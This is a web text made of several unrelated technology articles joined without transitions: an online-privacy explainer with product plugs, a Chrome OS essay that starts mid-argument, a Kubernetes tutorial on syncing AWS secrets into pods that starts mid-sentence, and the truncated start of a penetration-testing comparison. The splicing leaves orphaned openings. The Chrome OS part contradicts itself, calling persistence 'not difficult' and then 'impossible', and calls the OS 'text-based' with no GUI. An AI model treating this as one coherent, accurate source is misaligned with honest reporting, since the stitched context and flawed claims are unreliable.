In 2026, most people believe they are “covered” because they use a VPN, browse in incognito mode, or occasionally decline cookies. These actions create a sense of control, but they only address a small part of the problem.

The reality is more complex. Privacy today is not about a single tool or setting. It is about how data flows across systems, how identity is inferred, and how behavior is tracked even when you think you are anonymous.

“Arguing that you don't care about the right to privacy because you have nothing to hide is no different than saying you don't care about free speech because you have nothing to say.”
Source: The Guardian

If you want real protection, you need to understand what actually works and what only creates the illusion of safety.

Table of Contents

• Privacy Is No Longer About Hiding Your IP

• The Illusion of Incognito Mode

• The Rise of First-Party Tracking

• Encryption Still Matters, But It Is Not Enough

• Devices Are the New Weak Point

• Behavioral Data Is the Real Commodity

• Where VPNs Actually Fit

• Identity Is the Core Problem

• Regulation Helps, But It Has Limits

• What Actually Protects You

• The Trade-Offs Are Real

• The Future of Privacy

• Closing Perspective

Privacy Is No Longer About Hiding Your IP

A decade ago, privacy conversations centered on IP addresses. If you could mask your IP, you were considered relatively anonymous. That model is outdated.

Modern tracking systems rely on fingerprinting. Your browser, device type, screen resolution, installed fonts, GPU behaviour, and even how you move your mouse can uniquely identify you. This means that even if your IP changes, your identity can still be reconstructed with high confidence.

Companies no longer need a single identifier. They build probabilistic profiles. These profiles combine dozens of weak signals into one strong identity.

This is why simply using a VPN does not guarantee privacy. It hides where you are connecting from, but it does not hide who you are behaving like.

The Illusion of Incognito Mode

Incognito mode is one of the most misunderstood features in modern browsers. It does not make you anonymous. It simply prevents your local browser from saving history, cookies, and form data.

Your internet service provider can still see your activity. Websites can still track you. Third-party scripts can still build profiles. Incognito mode protects you from other users on the same device, not from the internet itself.

In 2026, relying on incognito mode for privacy is like closing your eyes and assuming no one can see you. It changes your local environment, not the external systems observing you.

The Rise of First-Party Tracking

One major shift in recent years is the move from third-party tracking to first-party tracking. Browsers and regulators have restricted third-party cookies, but this has not reduced tracking. It has changed who does it.

Large platforms now collect data directly. When you log into services, your activity is tied to your account. This is more accurate than cookie-based tracking and harder to block.

Even when you are not logged in, platforms use techniques like link decoration and server-side tracking. These methods bypass traditional browser protections. As a result, blocking cookies is no longer enough.

Privacy today requires reducing how much data you generate, not just controlling how it is stored.

Encryption Still Matters, But It Is Not Enough

Encryption remains one of the most important tools in digital privacy. It ensures that data in transit cannot be easily intercepted.

HTTPS is now standard, and end-to-end encryption is widely used in messaging apps.

However, encryption protects content, not metadata.

Metadata includes who you communicate with, when, how often, and from where. This data can reveal patterns that are often more valuable than the content itself.

For example, knowing that two people communicate regularly at specific times can be enough to infer relationships or activities.

In 2026, sophisticated surveillance systems rely heavily on metadata analysis. This means encryption is necessary, but it is not sufficient.

Devices Are the New Weak Point

Most privacy discussions focus on networks, but devices have become the primary attack surface. Smartphones, laptops, and even smart home devices continuously collect data.

Operating systems gather telemetry. Apps request permissions that go far beyond their core function. Background processes transmit usage patterns, location data, and behavioral signals.

Even trusted platforms collect large amounts of data. This is often justified as necessary for improving services, but it creates detailed user profiles.

Real privacy requires controlling what your devices share. This includes limiting permissions, reducing app usage, and choosing systems that minimize data collection by design.

Behavioral Data Is the Real Commodity

In 2026, raw personal data is less valuable than behavioral data. Companies are less interested in who you are and more interested in what you do.

Behavioral data includes browsing habits, purchase patterns, scrolling speed, typing rhythm, and engagement signals. This data feeds machine learning models and AI automation platforms that predict future actions.

These models power everything from targeted advertising to risk scoring. They are also used in fraud detection, hiring systems, and financial services.

As AI increasingly shapes online interactions, understanding how your data is analyzed can be valuable. It is also important to recognize whether content is generated or influenced by AI. AI detection platforms like ai checker help users identify AI-generated content while supporting greater transparency in digital environments.

The challenge is that behavioral data is difficult to hide. It is generated passively through normal usage. Protecting privacy means reducing the amount of behavior that can be observed and linked over time.

Where VPNs Actually Fit

VPNs still have a role, but it is narrower than most people think. They are useful for securing connections on untrusted networks, such as public Wi-Fi. They can also help bypass geographic restrictions.

However, they do not make you anonymous. They shift trust from your internet provider to the VPN provider. If the provider logs data, your activity is still traceable.

This is where the market has evolved. Users are now looking beyond traditional VPNs such as NordVPN and exploring options that offer stronger privacy guarantees, such as decentralized networks or tools with strict no-logging architectures.

In this context, the idea of a traditional VPN alternatives often comes up, not as a rejection of VPNs, but as a recognition that privacy requires a broader approach.

The key is understanding that a VPN is one layer, not a complete solution.

Identity Is the Core Problem

At the center of modern privacy is identity. Every system you interact with tries to answer one question: is this the same user as before?

If the answer is yes, your actions can be linked over time. This creates a persistent profile.

Breaking this link is difficult. Logging into accounts, using the same device, and maintaining consistent behavior all reinforce identity. Even small signals can reconnect fragmented data.

True privacy requires disrupting this continuity. This can involve using separate environments for different activities, avoiding unnecessary logins, and limiting cross-platform data sharing.

It is not about being invisible. It is about being harder to correlate.

Regulation Helps, But It Has Limits

Privacy regulations have expanded globally. Laws now require companies to disclose data practices, obtain consent, and provide user controls.

These changes have improved transparency, but they have not fundamentally changed data collection. Consent banners are often designed to nudge users toward acceptance. Privacy policies remain complex and difficult to interpret.

Enforcement is also uneven. Large companies adapt quickly, while smaller players may ignore rules altogether.

Regulation sets boundaries, but it does not eliminate incentives. As long as data drives revenue, companies will find ways to collect it within legal frameworks.

What Actually Protects You

Real privacy in 2026 does not come from one app, browser setting, or security tool. Privacy works best as a layered system where several habits work together. Tools help, but behavior matters more. Strong privacy comes from sharing less data, separating identities, reducing tracking signals, and using the right tools carefully.

The first step is to minimize data sharing. Every account signup, app download, connected service, and permission request creates another source of information collection. Share only what is necessary. Use fewer apps and services when possible. Avoid unnecessary integrations between platforms. Review permissions such as location, contacts, microphone access, and background tracking. Less information leaving your control means less information available to collect, sell, or track.

The next step is separating digital identity. Avoid linking every activity to the same account or profile. Use different emails, accounts, or even devices for work, personal use, and anonymous activities. Keeping activities separate makes it harder for systems to build one complete profile about you.

You should also reduce behavioral signals. Modern tracking systems use cookies, tracking pixels, app behavior, and device fingerprinting to identify users. Review app permissions and limit tracking where possible. Fewer signals make profiling harder.

Privacy-focused tools add another layer. Use secure browsers, encrypted messaging apps, secure DNS, and VPNs when needed. Keep them updated and properly configured. Privacy is not about becoming invisible. It is about staying intentional and keeping control over your information.

The Trade-Offs Are Real

It is important to acknowledge that privacy comes with trade-offs. More privacy often means less convenience. Personalized services become less accurate. Seamless experiences may require more manual effort.

Most users are not willing to sacrifice convenience entirely. This is why complete privacy is rare. Instead, the goal should be proportional privacy.

Protect what matters most. Accept some level of exposure where the cost of protection is too high.

The Future of Privacy

Looking ahead, privacy will become more integrated into system design. Technologies like on-device processing, differential privacy, and zero-knowledge proofs are gaining traction.

These approaches aim to reduce data collection while still enabling useful services. Instead of sending raw data to servers, computations happen locally or in privacy-preserving ways.

However, adoption will take time. Economic incentives still favor data collection. Until that changes, users remain responsible for their own privacy posture.

Closing Perspective

The biggest misconception about online privacy is that it can be solved with a single tool. In reality, it is a continuous process.

What protects you in 2026 is not just technology, but how you use it. It is the combination of reducing data exposure, understanding tracking mechanisms, and making deliberate choices about your digital behavior.

Privacy is no longer about disappearing. It is about controlling how visible you are, to whom, and under what conditions.

For years, that list of constraints was the reason people dismissed it. But in 2026, it's the reason Chrome OS might be the most correctly designed operating system for what's coming.

The security architecture treats the endpoint as untrusted by default. The containerized Linux environment gives developers a full headless stack without compromising the host. And an upcoming OS-level rewrite, Aluminium, puts Google's on-device AI models directly into the kernel.

This article covers security architecture, the container-based developer environment, cloud-streamed creative tools via AWS NICE DCV, cloud gaming, and what Aluminium OS means for on-device AI.

Here's what we'll cover:

1. Security-First Architecture in an Era of AI-Powered Threats

2. A Headless Linux Stack That's More Flexible Than It Looks

3. AWS NICE DCV Changes the Creative Tools Conversation

4. Cloud Gaming Works

5. Aluminium OS: On-Device Models on Google's Own Architecture

6. Where This Lands

Security-First Architecture in an Era of AI-Powered Threats

Threat actors are getting better tools. Models like Mythos are lowering the barrier for generating convincing phishing campaigns, crafting polymorphic malware, and automating social engineering at scale.

Traditional operating systems present exactly the attack surface these tools target: writable system files, user-installable executables, patches that sit uninstalled for weeks because someone clicked "remind me later."

Chrome OS sidesteps most of this by design. The root filesystem is read-only and cryptographically verified on every boot through a process called Verified Boot.

If anything has modified the OS files since the last verified state, whether that's malware, a compromised package, or a rogue AI agent that decided to start deleting system files, the device detects it at startup and either self-corrects or refuses to boot.

Persistence across reboots isn't difficult. It's architecturally impossible through software alone.

Updates happen silently. While you're working, the system downloads the next OS version to an inactive partition. On your next reboot, it pivots to the updated version. No prompts, no deferred patches, no exposure window.

Major updates ship every four to six weeks. Security patches land every two to three weeks. The gap between vulnerability discovery and remediation is measured in days.

Chrome OS consistently doesn't appear in the top 50 products by CVE count in the NIST vulnerability database. Windows and the Linux kernel sit near the top every year. When AI is actively being weaponized to find and exploit vulnerabilities faster than humans can patch them, a read-only, verified, automatically updated endpoint is a different category of security posture.

The tradeoff is trust. Chrome OS's security model means trusting Google as the root authority for your entire computing stack: updates, certificate trust, telemetry. Organizations with strict data sovereignty requirements should weigh that dependency carefully.

A Headless Linux Stack That's More Flexible Than It Looks

Chrome OS is a text-based operating system. There's no native GUI layer. Stop and sit with that for a second, because it's the thing that makes people dismiss Chrome OS and also the thing that makes it work.

The entire graphical interface you interact with IS the Chrome browser. The Ash shell, Chrome's window manager, is the desktop. You don't install applications onto it the way you install .exe files on Windows or drag .app bundles into a macOS Applications folder. If it isn't running in a browser tab, an Android VM, or a Linux container, it doesn't run. That restriction is what keeps the host locked down, and it's what makes everything else possible.

Under the hood, Chrome OS runs a minimal virtual machine called Termina through crosvm, Google's Rust-based VM monitor.

Inside Termina, LXD manages Linux containers. The default container, penguin, is a Debian environment with a special trick: it bridges GUI-based Linux applications directly into the Chrome OS desktop through a Wayland proxy called Sommelier. Install VS Code, GIMP, or LibreOffice in penguin and they show up in your Chrome OS app launcher, running in windows alongside your browser tabs. For a lot of developers, penguin alone covers the daily workflow.

But Termina gives you more than penguin. Through the LXD layer you can spin up independent containers that are fully isolated operating systems: Arch, Alpine, Ubuntu, whatever you need.

These aren't attached to the GUI bridge. They run headless, natively, with their own systemd, their own package managers, their own persistent state. Need a clean Ubuntu environment to test a deployment script without touching your main setup? lxc launch and you're there. Need to blow it away? lxc delete and it's gone. No orphaned files on the host, no cross-contamination between environments.

The key distinction from Docker is that LXD runs system containers (full OS emulation) rather than application containers. You get background services, persistent daemons, the works. You can also run Docker inside any of these LXD containers if you need application-level containerization on top of that.

Snapshot your entire environment with lxc snapshot before a risky dependency install and roll back instantly if something breaks. That kind of safety net is broader than version control alone: it captures your full OS configuration, not just code.

Pair this with browser-native tools like GitHub Codespaces, Google Colab, AWS CloudShell, or vscode.dev, and the terminal handles your local tooling while the browser handles everything else.

AI coding assistants like Claude and Gemini already operate natively in the browser. The distance between "cloud IDE" and "local IDE" keeps shrinking.

There are friction points: no custom kernel modules inside Crostini. Nested KVM requires Intel Gen 10+ processors. VPN routing into the Linux container from the Chrome OS host can be a headache, with WireGuard requiring userspace workarounds inside the container.

But none of these break the core architecture for cloud-native work. They're just worth knowing about before you commit.

AWS NICE DCV Changes the Creative Tools Conversation

One of the longest-standing arguments against Chrome OS has been the absence of professional creative software. There's no Premiere, no DaVinci Resolve, no Blender, no Ableton. For years, this was a dead-end conversation.

AWS NICE DCV (Desktop Cloud Visualization) reopens it. DCV is a high-performance remote display protocol that streams GPU-accelerated desktop sessions from EC2 instances to any device, including a Chromebook running the browser-based DCV client. It supports OpenGL, Vulkan, and DirectX rendering, with adaptive encoding that adjusts to network conditions. On AWS, the DCV license is free. You pay only for the EC2 compute time.

Netflix engineers use DCV to stream content creation applications to remote artists. Volkswagen runs 3D CAD simulations across their engineering division through it. A VFX studio called RVX used it to deliver visual effects for HBO's The Last of Us, streaming Nuke, Maya, Houdini, and Blender to artists distributed across Europe from servers in Iceland. Their team said it was the best remote experience they'd ever worked with.

So: a Chromebook connected to a g5.xlarge EC2 instance (one A10G GPU) can run Blender, DaVinci Resolve, or any other GPU-accelerated creative application with full hardware acceleration. The rendering happens in the data center. DCV streams the pixels. The creative professional gets a responsive, high-fidelity workspace on a $400 machine that couldn't locally render a single frame.

The constraints are connectivity and cost. You need sustained bandwidth (25+ Mbps for 1080p work, more for 4K multi-monitor setups) and leaving a GPU instance running around the clock adds up. But for studios and professionals who already budget for high-end workstations, the math often pencils out, especially when you factor in zero local hardware maintenance and the ability to scale GPU power on demand.

Cloud Gaming Works

GeForce NOW survived where Stadia failed because it made a better business decision: bring your own games. Connect your existing Steam, Epic, or Ubisoft library and stream from NVIDIA's server-side hardware. The Ultimate tier now runs on RTX 5080-class infrastructure. 4K at 120fps with ray tracing, on a fanless Chromebook.

Chrome OS has a structural advantage as a cloud gaming client. GeForce NOW runs natively in the Chromium browser via WebRTC, and users consistently report less micro-stuttering and tighter input handling than the standalone Windows desktop app. Under good network conditions, measured total latency runs 13 to 14ms, with sub-3ms ping documented near datacenter proximity. That's below human perceptual threshold for most game types.

Anti-cheat systems like Easy Anti-Cheat and Riot Vanguard are a non-issue in this model. They run on the server where the game executes, not on your local endpoint. On-device gaming isn't viable on Chrome OS and likely never will be. The architecture isn't designed for it, and even projects attempting to bridge local GPUs hit bottlenecks in the container layers. Cloud gaming is the path, and it works.

The limiting factors are network-dependent. Latency spikes above 500ms on bad connections make fast-twitch games unplayable, and NVIDIA's 100-hour monthly cap on the Ultimate tier has drawn criticism. But cloud gaming on Chrome OS has crossed the line from novelty to daily-driver viable for most use cases.

Aluminium OS: On-Device Models on Google's Own Architecture

The most consequential near-term development for Chrome OS is Project Aluminium, a ground-up rewrite that replaces the current Chrome OS foundation with a native Android kernel. Not another bolted-on compatibility layer: a new operating system built on Android 16, designed to run Android applications natively with direct hardware acceleration instead of routing them through the resource-heavy ARCVM virtual machine that currently eats CPU cycles on even basic app launches.

The AI story is the real story. Aluminium is being built with Gemini models integrated directly into the OS: the file system, the application launcher, the window manager.

Google serving their own proprietary models on their own devices, using an architecture optimized specifically to run them, is a level of vertical integration that no other OS vendor has in the pipeline. Apple has the silicon advantage for local inference. Google has the model-to-OS integration advantage. Those are competing theses about where AI compute should live, and both are worth taking seriously.

The rollout timeline from court documents and leaked roadmaps puts a trusted tester program on select hardware in late 2026, premium tablets by early 2027, and general consumer availability in 2028. Chrome OS Classic gets maintained through existing support obligations until 2033 or 2034.

The launch won't be perfect. Google's track record on platform transitions gives the community earned skepticism. But the ability to iterate a natively AI-integrated OS on hardware they control is the kind of capability that compounds over time.

Where This Lands

Two years ago, calling Chrome OS a serious platform for development or creative work would have been a stretch. Today you can run a full Debian environment with systemd daemons, snapshot your workspace, stream Blender from a GPU-backed data center, play AAA games at 4K on hardware you don't own, and do all of it from a verified, read-only endpoint that patches itself while you sleep.

The remaining gaps are real. But they're concentrated in workflows that are themselves moving to the cloud. Chrome OS was designed around assumptions about computing that used to be premature. They're not premature anymore.

Storing them is straightforward. But handling rotation, stale env vars, and the gap between what your pod reads and what AWS actually holds is where many engineers go quiet.

In this guide, you'll build a complete secrets pipeline from AWS Secrets Manager into Kubernetes pods. You'll provision the infrastructure with Terraform, sync secrets using the External Secrets Operator, and run a sample application that reads the same credentials in two different ways: via environment variables and via a volume mount.

By the end, you'll be able to:

• Explain the full architecture from vault to pod

• Run the lab locally in about 15 minutes

• Prove why environment variables go stale after rotation, while mounted secret files stay fresh

• Deploy the same pattern on Amazon Elastic Kubernetes Service with OpenID Connect-based CI/CD

• Troubleshoot the most common failures

Below is an architecture diagram showing secrets flowing from AWS Secrets Manager through the External Secrets Operator into a Kubernetes Secret, then splitting into environment variables set at pod start and a volume mount that updates within 60 seconds.

Table of Contents

• Prerequisites

• How to Understand the Secret Flow

• How to Run the Local Lab

• How to Inspect the ExternalSecret and the Application

• How to Test Secret Rotation

• How to Choose Between External Secrets Operator and the CSI Driver

• How to Deploy the Pattern on Amazon Elastic Kubernetes Service

• How to Configure GitHub Actions Without Stored AWS Credentials

• How to Troubleshoot the Most Common Failures

• Conclusion

Prerequisites

Before you begin, make sure you have the following tools installed and configured.

For the local lab:

• An AWS account with access to AWS Secrets Manager

• The AWS CLI installed and configured. Run aws configure and provide your access key, secret key, default region, and output format. The credentials need permission to read and write secrets in AWS Secrets Manager.

• kubectl installed. For Microk8s, run microk8s kubectl config view --raw > ~/.kube/config after installation to connect kubectl to your local cluster.

• Terraform installed

• Helm installed

• Docker installed

• A local Kubernetes cluster: the lab supports Microk8s and kind. If you do not have either installed, follow the Microk8s install guide before continuing.

For the Amazon Elastic Kubernetes Service sections:

• An Amazon Elastic Kubernetes Service cluster you can create or manage

• A GitHub repository you can configure for workflows and secrets

The lab repository includes two deployment paths: a local path for fast learning and an Amazon Elastic Kubernetes Service path for a production-like setup. All the exact commands for each path live in the repo's docs/DEPLOY-LOCAL.md and docs/DEPLOY-EKS.md.

How to Understand the Secret Flow

Before you run any command, you need to understand how the pieces connect.

The flow has four stages:

1. A developer or automated system updates a secret in AWS Secrets Manager.

2. The External Secrets Operator polls AWS Secrets Manager on a schedule and creates or updates a Kubernetes Secret.

3. Your pod reads that Kubernetes Secret.

4. During rotation, the Kubernetes Secret updates, but your two consumption modes behave differently.

How the External Secrets Operator Sync Works

The External Secrets Operator reads a custom Kubernetes resource called ExternalSecret. That resource tells the operator three things:

• Which secret store to connect to

• Which Kubernetes Secret name to create or update

• How often to refresh

In this lab, the ExternalSecret creates a Kubernetes Secret named myapp-database-creds. The operator also adds a template annotation that can trigger a pod restart when the secret rotates.

How the App Consumes Secrets

The sample application exposes three endpoints so you can validate behavior at any time.

• /secrets/env shows what environment variables the pod sees

• /secrets/volume shows what files in the mounted secret directory look like

• /secrets/compare compares both and reports whether rotation has been detected

The app checks four keys: DB_USERNAME, DB_PASSWORD, DB_HOST, and DB_PORT.

How to Run the Local Lab

The local lab gives you a fast learning loop. You can see the full pipeline working and test rotation without waiting for a cloud deployment.

Step 1: Clone the Repo

git clone https://github.com/Osomudeya/k8s-secret-lab
cd k8s-secret-lab

Step 2: Run the Spin-Up Script

bash spinup.sh

The script will ask you to choose a local cluster type. Pick Microk8s or kind, depending on what you have installed. The script installs the External Secrets Operator via Helm, applies the Terraform configuration, and deploys the sample application.

If the script fails at any point, check docs/TROUBLESHOOTING.md before retrying. The most common causes are missing AWS credentials, a misconfigured kubeconfig, or a Microk8s storage add-on that is not enabled.

Important: Run the Lab UI

The lab ships with a separate guided tutorial interface that runs on your laptop. This is not the in-cluster application, it's a React-based checklist at lab-ui/ that walks you through each concept and checkpoint as you work through the lab.

To start it, open a second terminal and run:

cd lab-ui && npm install && npm run dev

Then open http://localhost:5173. You'll see a module-by-module guide covering the full flow from external secrets to rotation to CI/CD.

Keep this terminal running alongside your lab. The Lab UI and the in-cluster app (localhost:3000) are two separate things, the UI guides you through the steps, the app shows you the live secrets.

Step 3: Access the Application

Once the lab finishes, port-forward the service.

kubectl port-forward svc/myapp 3000:80 -n default

Open http://localhost:3000. You should see a table showing each secret key and whether the environment variable value matches the volume mount value.

Step 4: Validate That Secrets Match

Run the compare endpoint directly from the terminal.

curl -s http://localhost:3000/secrets/compare | python3 -m json.tool

When everything is working, the response will include "all_match": true.

How to Inspect the ExternalSecret and the Application

At this point the lab is running. Now you'll want to inspect the manifests so you understand what each part does.

Step 1: Read the ExternalSecret Manifest

Open k8s/aws/external-secret.yaml. Focus on these four fields:

• refreshInterval: how often the operator polls AWS Secrets Manager

• secretStoreRef: which store the operator authenticates against

• target: the name of the Kubernetes Secret to create

• data: the mapping from AWS Secrets Manager JSON keys to Kubernetes Secret keys

Here is what that mapping looks like in this lab:

spec:
  refreshInterval: 1h
  secretStoreRef:
    name: aws-secrets-manager
    kind: ClusterSecretStore
  target:
    name: myapp-database-creds
    creationPolicy: Owner
  data:
    - secretKey: DB_USERNAME
      remoteRef:
        key: prod/myapp/database
        property: username

The property field tells the operator which JSON key inside the AWS secret to extract. If your secret in AWS Secrets Manager is a JSON object, each field gets its own entry here.

Two fields here are worth understanding before you move on. creationPolicy: Owner means the operator owns the Kubernetes Secret it creates. If you delete the ExternalSecret, the Secret is deleted too. ClusterSecretStore is a cluster-scoped store, meaning any namespace in the cluster can use it. A plain SecretStore is namespace-scoped. For this lab, cluster-scoped is the right choice because it keeps the setup simple.

Step 2: Read the Deployment Manifest

Open k8s/aws/deployment.yaml. You are looking for two sections: envFrom and volumeMounts.

envFrom:
  - secretRef:
      name: myapp-database-creds

volumeMounts:
  - name: db-secret-vol
    mountPath: /etc/secrets
    readOnly: true

Both paths read from the same Kubernetes Secret, myapp-database-creds. The envFrom block injects all keys as environment variables at pod start.
The volumeMounts block mounts the same secret as files under /etc/secrets.

This is the core of the rotation lesson. Both paths read the same source. But they behave differently after that source changes.

Step 3: Read the App Comparison Logic

Open app/server.js. The comparison logic reads environment variables from process.env and reads mounted secret files from /etc/secrets/<key>. Then it computes a per-key match and a global all_match value.

The /secrets/compare endpoint sets rotation_detected: true when any key differs between env and volume.

How to Test Secret Rotation

Secret rotation is where real teams feel pain. This lab makes that pain visible so you can explain it clearly and fix it confidently.

How the Rotation Gap Works

When a pod starts, Kubernetes gives it two ways to read a secret.

The first way is environment variables. Think of these like sticky notes written on the wall of the container the moment it boots up. The value gets written once, at startup, and never changes. Even if the secret in AWS gets updated ten minutes later, the sticky note still says the old value. The container cannot see the update because nobody rewrote the note.

The second way is a volume mount. Think of this like a shared folder that someone else can update remotely. Kubernetes creates a small folder inside the container and puts the secret value in a file there. When the secret changes in AWS and ESO syncs it into Kubernetes, the kubelet quietly updates that file within about 60 seconds. The container reads the file fresh every time it needs the value, so it sees the new password automatically.

Same secret, two paths. One goes stale while one stays fresh.

The problem happens when your app reads the database password from the environment variable, the sticky note, and someone rotates the password in AWS. ESO updates Kubernetes. The file gets the new password. But your app is still reading the sticky note, which has the old one. Connection fails.

That difference isn't a bug. It's how the Linux process model and the kubelet work. Understanding it is the difference between knowing Kubernetes secrets and actually operating them.

Here is what you're about to observe in the lab:

• The rotation script updates the secret in AWS

• ESO syncs the new value into Kubernetes within seconds

• The volume file updates automatically

• The environment variable stays stale until the pod restarts

• The /secrets/compare endpoint shows both values side by side so you can see the gap live

Step 1: Confirm the Lab Is Ready

Make sure your pod and the External Secrets Operator are both running before you start.

kubectl get pods -n external-secrets
kubectl get pods -n default

Both should show Running.

Step 2: Run the Rotation Test Script

bash rotation/test-rotation.sh

The script performs these actions in order:

1. Reads the current DB_PASSWORD from the volume mount at /etc/secrets/DB_PASSWORD

2. Reads the current DB_PASSWORD from the environment variable

3. Updates AWS Secrets Manager with a new password using put-secret-value

4. Forces an immediate ESO sync by annotating the ExternalSecret with force-sync

5. Reads the volume value again

6. Reads the environment variable again

After the script runs, the volume and the env var will show different values.

Step 3: Validate With the Compare Endpoint

Hit the compare endpoint and look at the output.

curl -s http://localhost:3000/secrets/compare | python3 -m json.tool

You'll see something like this:

{
  "comparison": {
    "DB_PASSWORD": {
      "env": "old-password-value",
      "volume": "new-password-value",
      "match": false
    }
  },
  "all_match": false,
  "rotation_detected": true,
  "message": "Volume has new value; env still has old value."
}

Step 4: Restart the Deployment to Sync Env Vars

Env vars don't update in place. You need a pod restart so new containers start with the updated Kubernetes Secret.

kubectl rollout restart deployment/myapp -n default
kubectl rollout status deployment/myapp -n default

Then hit /secrets/compare again. All rows should now show "all_match": true.

How to Automate Restarts With Reloader

If you don't want to restart deployments manually after every rotation, you can install Stakater Reloader. It watches an annotation on the Deployment and triggers a rolling restart automatically when the referenced Kubernetes Secret changes. New pods start with fresh env vars, while old pods drain cleanly. The repo's local deployment guide includes the install steps.

How to Choose Between External Secrets Operator and the CSI Driver

Two patterns dominate when it comes to pulling external secrets into Kubernetes: the External Secrets Operator and the Secrets Store CSI Driver.

Both get cloud secrets into pods, but they do it differently. Here's a plain comparison:

This lab uses the External Secrets Operator for two reasons. First, it produces a native Kubernetes Secret, which means your application and deployment patterns match standard Kubernetes workflows. Second, having both envFrom and a volume mount point to the same Secret makes the rotation behavior easy to observe side by side.

Use the CSI Driver when your security team prohibits storing secrets in etcd through a Kubernetes Secret. The driver mounts secret data directly into the pod file system without creating a Kubernetes Secret. The tradeoff is that you lose the native envFrom model.

How to Deploy the Pattern on Amazon Elastic Kubernetes Service

The local lab is ideal for learning. The Amazon Elastic Kubernetes Service path adds the production-like pieces: IAM role-based permissions for the operator, a load balancer for the app, and a full CI/CD workflow.

Step 1: Prepare Terraform and OpenID Connect Access

The repository includes a one-time setup guide for OpenID Connect-based access from GitHub Actions to AWS. Run these commands in the terraform/github-oidc folder.

cd terraform/github-oidc
terraform init
terraform plan -var="github_repo=YOUR_ORG/YOUR_REPO"
terraform apply -var="github_repo=YOUR_ORG/YOUR_REPO"
terraform output role_arn

Copy the role ARN from the output. You'll need it in the next step.

Step 2: Set the Required Environment Variable

The Amazon Elastic Kubernetes Service spin-up path needs your GitHub Actions role ARN so Terraform can grant the CI/CD runner access to the cluster.

To find your AWS account ID, run:

aws sts get-caller-identity --query Account --output text

Then set the variable, replacing ACCOUNT with the number that command returns.

export GITHUB_ACTIONS_ROLE_ARN=arn:aws:iam::ACCOUNT:role/your-github-oidc-role

Step 3: Run the Spin-Up Script for Amazon Elastic Kubernetes Service

bash spinup.sh --cluster eks

When the script finishes, it prints the application URL. Open that URL in a browser and confirm that you see the same secrets table you saw locally, with all keys showing Match ✓.

Step 4: Test Rotation on the Deployed App

After you confirm normal operation, run the rotation test the same way you did locally.

bash rotation/test-rotation.sh

Then use /secrets/compare on the Amazon Elastic Kubernetes Service load balancer URL to validate behavior in the cloud environment.

⚠️ Cost warning: Amazon Elastic Kubernetes Service runs at approximately $0.16 per hour. When you're done with the lab, run bash teardown.sh from the repo root to destroy all AWS resources and stop charges.

How to Configure GitHub Actions Without Stored AWS Credentials

The typical CI/CD setup stores AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY in GitHub repository secrets. Those keys never rotate. Anyone with repo access can read them. When someone leaves the team, you have to revoke keys and update every workflow.

OpenID Connect eliminates that problem entirely.

How OpenID Connect Works for GitHub Actions

GitHub can issue a short-lived token for each workflow run. That token identifies the run: the repository, branch, and workflow name. You create an IAM role in AWS whose trust policy says: only accept requests that come from this specific GitHub repository and branch. The GitHub Actions runner exchanges that token for temporary AWS credentials via AssumeRoleWithWebIdentity. No long-lived keys are ever stored anywhere.

Step 1: Create the IAM Role With Terraform

The terraform/github-oidc folder creates the OpenID Connect provider and the IAM role for you. You already ran this in the Amazon Elastic Kubernetes Service setup above. The role ARN is the only value you need to store.

Step 2: Add the Role ARN to GitHub Repository Secrets

In your GitHub repository:

1. Go to Settings → Secrets and variables → Actions

2. Click New repository secret

3. Name it AWS_ROLE_ARN

4. Paste the role ARN from the Terraform output

That is the only secret you store. The role ARN isn't sensitive. It's an identifier, not a credential.

Step 3: Configure Terraform State

For CI/CD to work consistently across runs, Terraform needs a shared state backend. The lab stores Terraform state in an Amazon S3 bucket and uses an Amazon DynamoDB table for state locking. The Amazon Elastic Kubernetes Service deployment guide in the repo covers the backend setup in full.

Step 4: Push to Main and Let Workflows Run

After your first spin-up, every push to the main branch drives the CI/CD pipeline. The repo includes separate workflow files for Terraform infrastructure changes and application deployment changes. Once your application is reachable, use /secrets/compare to validate rotation behavior on the live environment.

How to Troubleshoot the Most Common Failures

Here's a shortlist of the most common symptoms and their fixes.

How to Inspect the Operator and the ExternalSecret

When something isn't syncing, start with these two commands.

# Check the ExternalSecret status
kubectl describe externalsecret app-db-secret -n default

# Check the ESO operator logs
kubectl logs -n external-secrets -l app.kubernetes.io/name=external-secrets

The status conditions on the ExternalSecret resource will usually tell you exactly what failed.

How to Validate Rotation From the App Side

When you are debugging rotation, don't rely only on Kubernetes resource state. Use the /secrets/compare endpoint to see what the running application actually observes. The endpoint tells you whether env and volume match and whether rotation has been detected. That is the ground truth for your application's behavior.

Conclusion

You now have a complete secrets pipeline from AWS Secrets Manager into Kubernetes pods using Terraform and the External Secrets Operator. You ran the local lab, inspected the ExternalSecret and Deployment manifests, and validated that the application sees the right credentials.

You also tested secret rotation and observed the key behavior firsthand: mounted secret files update within the kubelet sync period, while environment variables stay stale until the pod restarts. That single observation explains a large class of production incidents.

Finally, you saw how the same design extends to Amazon Elastic Kubernetes Service with OpenID Connect-based CI/CD, and you have a troubleshooting checklist for the failures most teams hit.

The lab repository is at github.com/Osomudeya/k8s-secret-lab. If you ran the local lab, the natural next step is phases 4 and 5 from the repo's staged learning path: try the CSI driver path on Microk8s, then follow the EKS setup to see the same pipeline with a real CI/CD workflow and no credentials stored in GitHub. Both are documented in the repo and take less than 30 minutes each.

If this helped you, star the repo and share it with someone who is learning Kubernetes.

I send weekly breakdowns of real production incidents and how engineers actually fix them, not tutorials but real failures
→ Join the newsletter

Attack surfaces are broad, technology stacks are complex, and adversaries are quick to exploit weak points.

Against this backdrop, companies must decide how best to test their defences.

Two main approaches have emerged as leaders: human-led penetration testing services and automated testing platforms. Each has strengths and limitations. Choosing the right one depends on your security goals, risk tolerance, and budget.

At its core, penetration testing is about finding security holes before attackers do. But how you get there matters.

Human experts bring creativity and real-world insight, while automated platforms offer scale and speed.

This article explores both approaches and compares top providers to help you decide what’s better for your organization in 2026.

What we'll cover:

1. What Are Penetration Testing Services?

2. What Are Automated Penetration Testing Platforms?

3. Why the Debate Matters in 2026

   • Depth of Testing: Humans vs Machines

   • Speed and Frequency of Testing

   • Cost Considerations

   • Integration with Security Workflows

4. Real World Context: Top Providers in 2026

5. Compliance and Reporting

6. Which One Should You Choose in 2026?

7. Final Thoughts

What Are Penetration Testing Services?

Penetration testing services are engagements where cybersecurity professionals actively probe your systems to find vulnerabilities. These experts use a mix of tools, manual techniques, and real-world attack simulations to surface weaknesses that machines might miss.

These services may include scheduled tests, one-time assessments, and ongoing engagements. Many providers tailor their approach to the environment being tested, whether that’s a corporate network, web application, cloud infrastructure, or mobile ecosystem.

